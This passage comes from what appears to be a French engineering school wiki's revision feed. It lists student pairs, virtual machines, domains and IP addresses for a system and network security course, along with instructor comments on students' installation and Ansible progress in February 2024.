| caribou|| 10.10.10.11|| caribou.lol|| pteranodon|| 193.48.57.187|| Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| panthere|| 192.168.10.2|| panthere.lol|| smilodon|| 193.48.57.180||Thomas LEFRANC&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| singe|| || singe.lol || mosasaurus|| 193.48.57.188|| Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| loutre|| || loutre.lol|| mosasaurus|| 193.48.57.188|| Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| fennec|| 11.11.11.21|| fennec.pics|| triceratops|| 193.48.57.189|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| 11.11.11.20|| castor-canard.lol|| triceratops|| 193.48.57.189|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 09/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj en cours mais pas de réseau) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || &amp;lt;code&amp;gt;chevreuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || &amp;lt;code&amp;gt;belette&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || &amp;lt;code&amp;gt;truite&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || &amp;lt;code&amp;gt;esturgeon&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || &amp;lt;code&amp;gt;palourde&amp;lt;/code&amp;gt; démarrée || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || &amp;lt;code&amp;gt;bigorneau&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (non maj, écrasée avec nouvelle installation) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || &amp;lt;code&amp;gt;ecureuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || &amp;lt;code&amp;gt;siamois&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || &amp;lt;code&amp;gt;lynx&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 ||&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || &amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; non lancée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || &amp;lt;code&amp;gt;caribou&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || &amp;lt;code&amp;gt;singe&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || &amp;lt;code&amp;gt;loutre&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5279</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5279"/>
		<updated>2024-02-14T14:16:38Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane Kader Issack &amp;amp; Marion Normand || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 11/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), clef ed25519 modifiée par ReX (12/2) || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, à tester.&lt;br /&gt;
interfaces réseau renommées, clef ed25519 modifiée par ReX &lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX, pourquoi avoir enlevé le flanc que j'avais bien remis ? || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), réseau VLAN 50 sur la mauvaise interface, câble à changer de position (fait ReX 12/2), clef ed25519 modifiée (ReX 12/2), si le ventilateur ne fonctionne pas changez-le, vous allez tuer le processeur || inventaire ansible correct, mauvaise syntaxe pour le playbook, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| interfaces réseau renommées, machine relancée par ReX, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface  || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, réseau VLAN 50 sur la mauvaise interface || bonne organisation du rôle (presque, les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant (regardez le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;), utilisez l'action template pour gérer le modèle&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| interfaces réseau renommées, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt; (les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX  || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (13 février) !! Commentaire sur la tâche supplémentaire (13 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| contactable par ansible || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD changé, installé (ReX 12/02)&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| toujours pas contactable par ansible || rôle ntp absent&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| contactable par ansible || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, corrections mineures, fonctionnent.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| contactable par ansible, problème du flanc non fermé || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
